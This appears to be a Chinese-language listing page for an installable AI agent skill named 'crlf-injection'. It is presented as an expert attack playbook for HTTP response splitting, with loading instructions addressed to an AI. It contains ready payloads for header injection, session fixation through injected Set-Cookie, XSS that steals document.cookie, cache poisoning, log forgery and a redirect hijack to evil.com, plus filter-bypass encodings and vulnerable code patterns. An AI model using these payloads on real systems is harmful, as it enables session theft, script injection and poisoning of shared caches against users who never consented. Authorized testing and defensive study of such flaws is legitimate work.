关于 crlf-injection
用于检测和评估 HTTP 响应中 CRLF 注入的安全测试指南。介绍响应头与响应体注入、编码绕过,以及 XSS、缓存投毒和会话固定等风险。
主要功能
- 01HTTP 响应头注入探测
- 02双 CRLF 响应体注入
- 03编码与过滤器绕过
- 04XSS 与缓存投毒攻击链
- 05日志注入检查
适用场景
- 01测试重定向参数能否注入响应头
- 02检查响应拆分是否可导致 XSS
- 03评估可缓存响应的投毒风险
- 04检查日志字段中伪造条目的可能性
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ yaklang/ hack-skills --skill crlf-injection安装后在 Claude Code 中输入/crlf-injection确认已加载。
详细介绍
技能:CRLF 注入 — 专家攻击手册
AI 加载指令:CRLF 注入(HTTP 响应拆分)技术。涵盖标头注入、通过双 CRLF 注入响应正文、XSS 提权、缓存投毒和编码绕过。扫描器经常会漏掉这类问题,但它们可以串联利用,造成 XSS、会话固定和缓存攻击。
0. 相关路由
- 当目标是 Java 服务,且
%0D%0A/\r\n编码被 WAF 拦截时,使用 ghost-bits-cast-attack — 以瘍(U+760D,低位字节为\r)和瘊(U+760A,低位字节为\n)替代,可通过 Angus Mail / Jakarta Mail SMTP、Apache HttpClient 标头、JDK HttpServer 响应和 ActiveJ HTTP 注入真实 CRLF(重新启用 Jira CVE-2025-57733 和 JDK CVE-2026-21933 类漏洞)
1. 核心概念
CRLF = \r\n(回车符 + 换行符,%0D%0A)。HTTP 标头由 CRLF 分隔。如果用户输入未经清理就被反映到响应标头中,注入 CRLF 字符便可创建新标头,甚至响应正文。
Normal: Location: /page?url=USER_INPUT
Attack: Location: /page?url=%0D%0ASet-Cookie:admin=true
Result: Two headers — Location + injected Set-Cookie
2. 检测
基本探测
%0D%0ANew-Header:injected
# In URL parameter:
https://target.com/redirect?url=%0D%0AX-Injected:true
# Check response headers for "X-Injected: true"
双 CRLF — 正文注入
两个连续的 CRLF 序列会结束标头并开始正文:
%0D%0A%0D%0A<script>alert(1)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(1)</script>
3. 利用场景
通过 Set-Cookie 实现会话固定
%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
通过响应正文实现 XSS
%0D%0A%0D%0A<html><script>alert(document.cookie)</script></html>
缓存投毒
如果响应被 CDN 或代理缓存,注入的标头/正文就会提供给所有用户:
GET /page?q=%0D%0AContent-Length:0%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(1)</script>
日志注入
日志可见字段(User-Agent、Referer)中的 CRLF 可以伪造日志条目:
User-Agent: normal%0D%0A127.0.0.1 - admin [date] "GET /admin" 200
4. 过滤器绕过
| 过滤器 | 绕过方法 |
|---|---|
拦截 %0D%0A | 尝试单独使用 %0D、%0A,或使用 %E5%98%8A%E5%98%8D(Unicode) |
| URL 只解码一次 | 双重编码:%250D%250A |
按字面值剥除 \r\n | 使用 URL 编码形式 |
| 只拦截值中的内容 | 在参数名中注入 |
# Unicode/UTF-8 bypass:
%E5%98%8A%E5%98%8D → decoded as CRLF in some parsers
# Double URL encoding:
%250D%250A → server decodes to %0D%0A → interpreted as CRLF
# Partial injection (LF only):
%0A → some servers accept LF without CR
5. 真实攻击链
CRLF + 会话固定
# Inject Set-Cookie via CRLF in redirect parameter:
?url=%0D%0ASet-Cookie:PHPSESSID=attacker_controlled_session_id
# Result:
HTTP/1.1 302 Found
Location: /page
Set-Cookie: PHPSESSID=attacker_controlled_session_id
# Victim uses attacker's session → attacker hijacks after login
CRLF → 通过双 CRLF 正文注入实现 XSS
# Two CRLF sequences end headers and inject response body:
?url=%0D%0A%0D%0A<script>alert(document.cookie)</script>
# Result:
HTTP/1.1 302 Found
Location: /page
<script>alert(document.cookie)</script>
在 302 Location 中注入 CRLF → 劫持重定向
# Inject new Location header before the original:
?url=%0D%0ALocation:http://evil.com%0D%0A%0D%0A
# Some servers use the LAST Location header → redirect to evil.com
6. 常见易受攻击模式
// PHP — header() with user input (PHP < 5.1.2 vulnerable):
header("Location: " . $_GET['url']);
// Python — redirect with unsanitized input:
return redirect(request.args.get('next'))
// Node.js — setHeader with user input:
res.setHeader('X-Custom', userInput);
// Java — response.setHeader with user input:
response.setHeader("Location", request.getParameter("url"));
7. 测试清单
□ Inject %0D%0A in redirect URL parameters
□ Inject %0D%0A in Set-Cookie name/value paths
□ Try double CRLF for body injection → XSS
□ Test encoding bypasses: double-encode, Unicode (%E5%98%8D%E5%98%8A), LF-only (%0A)
□ Check if response is cacheable → cache poisoning
□ Test in User-Agent / Referer for log injection
□ Test CRLF + Set-Cookie for session fixation
□ Verify if Location header can be injected in 302 responses
评论
支持 Markdown